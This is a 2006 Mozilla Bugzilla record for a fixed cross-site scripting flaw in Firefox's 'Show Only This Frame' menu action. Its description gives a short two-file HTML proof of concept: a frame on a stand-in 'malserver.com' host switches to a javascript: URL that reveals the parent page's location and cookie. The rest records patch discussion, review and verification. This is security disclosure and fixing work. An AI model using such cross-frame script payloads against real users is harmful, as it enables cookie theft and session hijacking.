Last Comment Bug 329468 - Show Only This Frame XSS (FF, TB, Suite)
: Show Only This Frame XSS (FF, TB, Suite)
Status: RESOLVED FIXED
[sg:moderate] XSS against some sites,...
: fixed1.8.1, verified1.8.0.4
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: x86 Windows XP
: -- major (vote)
: ---
Assigned To: Martijn Wargers [:mwargers] (not working for Mozilla)
:
: David Keeler [:keeler] (use needinfo?)
Mentors:
http://wargers.org/mozilla/parentfram...
Depends on:
Blocks: 336519
  Show dependency treegraph
 
Reported: 2006-03-05 22:11 PST by Paul Nickerson
Modified: 2006-06-04 08:34 PDT (History)
9 users (show)
dveditz: blocking1.7.14?
dveditz: blocking‑aviary1.0.9?
dveditz: blocking1.9a1+
dveditz: blocking1.8.1+
dveditz: blocking1.8.0.4+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
redir.htm (274 bytes, text/html)
2006-03-07 03:41 PST, Martijn Wargers [:mwargers] (not working for Mozilla)
no flags Details
patch (1.45 KB, patch)
2006-03-07 04:28 PST, Martijn Wargers [:mwargers] (not working for Mozilla)
no flags Details | Diff | Splinter Review
patch (1.60 KB, patch)
2006-03-07 05:01 PST, Martijn Wargers [:mwargers] (not working for Mozilla)
dveditz: superreview+
dveditz: approval1.8.0.4+
Details | Diff | Splinter Review
xpfe patch (3.14 KB, patch)
2006-04-05 03:07 PDT, neil@parkwaycc.co.uk
neil: review? (jag-mozilla)
neil: superreview? (jag-mozilla)
Details | Diff | Splinter Review
alternate xpfe patch (2.70 KB, patch)
2006-04-05 04:00 PDT, neil@parkwaycc.co.uk
neil: review? (jag-mozilla)
neil: superreview? (jag-mozilla)
Details | Diff | Splinter Review
1.8 branch and trunk patch (1.57 KB, patch)
2006-05-02 17:46 PDT, :Gavin Sharp [email: gavin@gavinsharp.com]
no flags Details | Diff | Splinter Review
patch that would fixeissue mentioned in comment 29 (1.61 KB, patch)
2006-05-11 16:40 PDT, Martijn Wargers [:mwargers] (not working for Mozilla)
no flags Details | Diff | Splinter Review
patch2 that would fix issue mentioned in comment 29 (1.51 KB, patch)
2006-05-11 18:28 PDT, Martijn Wargers [:mwargers] (not working for Mozilla)
no flags Details | Diff | Splinter Review

Description Paul Nickerson 2006-03-05 22:11:14 PST
A site nested within another site's frames can navigate to a javascript: page, and if the user right-clicks in that frame and presses This Frame->Show Only This Frame, it will cause cross site scripting in the context of the parent window.

I've tried this on my internal network, but I have no public webhosting since my domain expired. Here's the PoC code for testing cross-server:

whoops.htm
------------------------
<html>
<body>
<script>
document.cookie="this is a test";
</script>
<iframe src="http://malserver.com/redir.htm"></iframe>
</body>
</html>

redir.htm
------------------------
<html>
<body>
<script>
location.href="javascript:'Right-click here and press \"This Frame->Show Only This Frame\". The following text should change to reflect the parent window:<br><br>Location: '+location.href+'<br>Cookie: '+document.cookie";
</script>
</body>
</html>
Comment 1 Jesse Ruderman 2006-03-05 23:21:15 PST
I think this bug should be [sg:moderate], since [sg:high] is used for XSS holes that can be exploited reliably against most sites.  The user interaction required isn't strange or obscure, but not everyone will do it.  I bet some webmail sites load untrusted HTTP URLs (or HTML content hosted at a separate hostname) in frames/iframes, but the ones I tested (Gmail, Yahoo, Hotmail) do not.
Comment 2 Paul Nickerson 2006-03-06 09:43:14 PST
(In reply to comment #1)
Can you think of any cross-frame navigation attacks? Cross-host window.open usage is blocked, but maybe there's some other possibility. I'll look into it more when I get home.
Comment 3 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-03-07 03:41:09 PST
Created attachment 214297 [details]
redir.htm
Comment 4 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-03-07 03:42:46 PST
Testcase at http://wargers.org/mozilla/parentframe.htm
Comment 5 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-03-07 04:28:39 PST
Created attachment 214300 [details] [diff] [review]
patch

So something like this, I guess.
Comment 6 Jesse Ruderman 2006-03-07 04:48:44 PST
Are data: URLs treated correctly?  (e.g. given the privileges of the correct linking page, or given a nonce privilege?)
Comment 7 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-03-07 05:01:42 PST
Created attachment 214303 [details] [diff] [review]
patch

Also prevent here of getting an exception.
Comment 8 Paul Nickerson 2006-03-11 21:21:31 PST
(In reply to comment #7)
> Created an attachment (id=214303) [edit]
> patch
> 
> Also prevent here of getting an exception.
> 

Taking Jesse's comment into consideration, should DISALLOW_SCRIPT in your patch be changed to DISALLOW_SCRIPT_OR_DATA?
Comment 9 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-03-12 04:20:03 PST
(In reply to comment #6)
> Are data: URLs treated correctly? 
(In reply to comment #8)
> Taking Jesse's comment into consideration, should DISALLOW_SCRIPT in your patch
> be changed to DISALLOW_SCRIPT_OR_DATA?
I think data url's are treated correctly, since those are not pseudo url's like javascript: url's, so that's why I didn't use it in the patch. I haven't been able to come up with an exploitable testcase, using data url's.
Comment 10 Mike Connor [:mconnor] 2006-03-17 11:50:13 PST
Comment on attachment 214303 [details] [diff] [review]
patch

If data: is better-handled due to restrictions elsewhre, this should be sufficient.  Let's double up on reviews since I haven't had enough cycles to keep track of the larger picture.
Comment 11 Daniel Veditz [:dveditz] 2006-03-31 17:55:16 PST
Comment on attachment 214303 [details] [diff] [review]
patch

sr=dveditz
Comment 12 Daniel Veditz [:dveditz] 2006-03-31 17:56:05 PST
Looks like SeaMonkey has the same issue in xpfe/communicator/resources/content/nsContextMenu.js

Same code exists in mail/base/content/nsContextMenu.js but I'm not sure it's a practical concern since by default we 1) don't load remote content and 2) don't run javascript. I haven't checked that Tbird even has the menu item that calls this code.
Comment 13 Daniel Veditz [:dveditz] 2006-03-31 17:57:22 PST
I moved this to core, but I still don't get useful seamonkey-blocking flags. Maybe Neil would prefer tracking the SM version separately?
Comment 14 neil@parkwaycc.co.uk 2006-04-05 03:07:11 PDT
Created attachment 217272 [details] [diff] [review]
xpfe patch

I thought it would be simplest to disallow script or data everywhere.
Comment 15 neil@parkwaycc.co.uk 2006-04-05 04:00:50 PDT
Created attachment 217275 [details] [diff] [review]
alternate xpfe patch

Astute readers will have detected a file is missing from the previous patch ;-)
Comment 16 Daniel Veditz [:dveditz] 2006-04-05 10:50:21 PDT
> I think data url's are treated correctly, since those are not pseudo url's like
> javascript: url's, so that's why I didn't use it in the patch. I haven't been
> able to come up with an exploitable testcase, using data url's.

In the given testcase data urls are safe because the location is set by a script from malserver.com and will pick up that principal --> no access to whoops.htm's domain.

But what if redir were an HTTP redirect to a data: url instead? If it's not set by script I'm not sure which domain we'd pick up as the principal.
Comment 17 Daniel Veditz [:dveditz] 2006-04-05 10:59:43 PDT
Even if data: HTTP redirects work, unlike javascript: they can't get at the content of the original framing page. They could potentially get cookies and get the password manager to auto-fill a saved password if any.
Comment 18 Daniel Veditz [:dveditz] 2006-04-28 11:33:43 PDT
Comment on attachment 214303 [details] [diff] [review]
patch

approved for 1.8.0 branch, a=dveditz for drivers
Comment 19 jag (Peter Annema) 2006-04-30 21:26:38 PDT
Comment on attachment 217275 [details] [diff] [review]
alternate xpfe patch

Does that javascript|data test need to be case insensitive? I think I'd prefer constructing a proper URI and checking what it thinks the scheme is.
Comment 20 neil@parkwaycc.co.uk 2006-05-01 03:16:42 PDT
(In reply to comment #19)
>(From update of attachment 217275 [details] [diff] [review])
>Does that javascript|data test need to be case insensitive?
Probably.

>I think I'd prefer constructing a proper URI and checking what it thinks the scheme is.
We might not actually have a valid URI at this point :-/
Comment 21 jag (Peter Annema) 2006-05-01 06:58:15 PDT
(In reply to comment #20)
> (In reply to comment #19)
> >I think I'd prefer constructing a proper URI and checking what it thinks the
> >scheme is.
> We might not actually have a valid URI at this point :-/

What do LoadURI and LoadURIWithFlags do with invalid URI? Try to load it and fail, but at least the string shows up in the URL bar?

Comment 22 neil@parkwaycc.co.uk 2006-05-01 08:16:55 PDT
(In reply to comment #21)
>What do LoadURI and LoadURIWithFlags do with invalid URI?
IIRC they currently display an alert "The URL is invalid and cannot be loaded".
Comment 23 Christian :Biesinger (don't email me, ping me on IRC) 2006-05-01 08:37:27 PDT
after trying urifixup
Comment 24 :Gavin Sharp [email: gavin@gavinsharp.com] 2006-05-02 17:46:23 PDT
Created attachment 220582 [details] [diff] [review]
1.8 branch and trunk patch

same as "patch" (attachment 214303 [details] [diff] [review]), but tweaked to accomodate the changes introduced in bug 331522.
Comment 25 :Gavin Sharp [email: gavin@gavinsharp.com] 2006-05-02 18:02:19 PDT
Landed the Firefox browser.js patch on trunk and both 1.8 branches.
mozilla/browser/base/content/browser.js 	1.479.2.43.2.3
mozilla/browser/base/content/browser.js 	1.479.2.128
mozilla/browser/base/content/browser.js 	1.622
Comment 26 jag (Peter Annema) 2006-05-03 14:40:14 PDT
So then we can safely construct a nsIURI from it, if that fails, or if the URI's scheme is javascript or data we can fall through to the else case.
Comment 27 Daniel Veditz [:dveditz] 2006-05-03 15:33:38 PDT
Calling this "fixed1.8.1, fixed1.8.0.4" based on Gavin's checkin. Let's see if I can fool this into adding seamonkey blocking flags too. (Apologies in advance for the bugspam.)
Comment 28 Daniel Veditz [:dveditz] 2006-05-03 15:48:13 PDT
mconnor's war on bugzilla flags ensures that I cannot set both 1.8.0.4 and seamonkey flags at the same time, no way to override or force the issue. Opened 336519 to track seamonkey checkins.
Comment 29 Jay Patel [:jay] 2006-05-11 13:29:18 PDT
v.fixed on 1.8.0 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 with Martijn's testcase, but saw something that I wanted to clarify:

"This Frame->Show Only This Frame" from within the iframe does not bring out the content to the parent window, is that the behavior we expect?  Do we simply block the user's ability to bring iframe contents out into the current window?

I only ask because open frame in new tab or window does work as we expect,  with no signs of xss problems.

Comment 30 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-05-11 15:10:50 PDT
Yes, "This Frame->Show Only This Frame" should not work with the patch with framed url's that use the javascript: protocol.
It should just work fine for any other type of url.
I guess you could call this a bug, but I don't think there are a lot of websites that use javascript: url's inside for their framed content.
Comment 31 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-05-11 16:40:04 PDT
Created attachment 221762 [details] [diff] [review]
patch that would fixeissue mentioned in comment 29

Well, this fixes the issue mentioned in comment 29 and 30.
It's a real ugly hack, but I guess it wouldn't hurt anything.
Comment 32 neil@parkwaycc.co.uk 2006-05-11 16:51:24 PDT
(In reply to comment #31)
>It's a real ugly hack, but I guess it wouldn't hurt anything.
I seem to recall an "external" load flag that clears the current document.
Comment 33 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-05-11 16:57:00 PDT
(In reply to comment #32)
> (In reply to comment #31)
> >It's a real ugly hack, but I guess it wouldn't hurt anything.
> I seem to recall an "external" load flag that clears the current document.

You mean this one:
http://lxr.mozilla.org/seamonkey/source/docshell/base/nsIWebNavigation.idl#175
The comment is not very descriptive, but I could try that one.

Comment 34 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-05-11 18:28:53 PDT
Created attachment 221772 [details] [diff] [review]
patch2 that would fix issue mentioned in comment 29

Yeah, that works nicely. Maybe this should be considered. I guess it's already to late for 1.8.0.4.
Comment 35 Christian :Biesinger (don't email me, ping me on IRC) 2006-05-12 15:39:34 PDT
shouldn't this only be done if it's checkLoadURI throwing the exception, not something else in that block?
Comment 36 Martijn Wargers [:mwargers] (not working for Mozilla) 2006-05-17 04:59:02 PDT
Sorry for not responding earlier.
I'm beginning to think, why not always use the LOAD_FLAGS_FROM_EXTERNAL           flag for "show only this frame"?
(the same could be said for bug 329521)

Note You need to log in before you can comment on or make changes to this bug.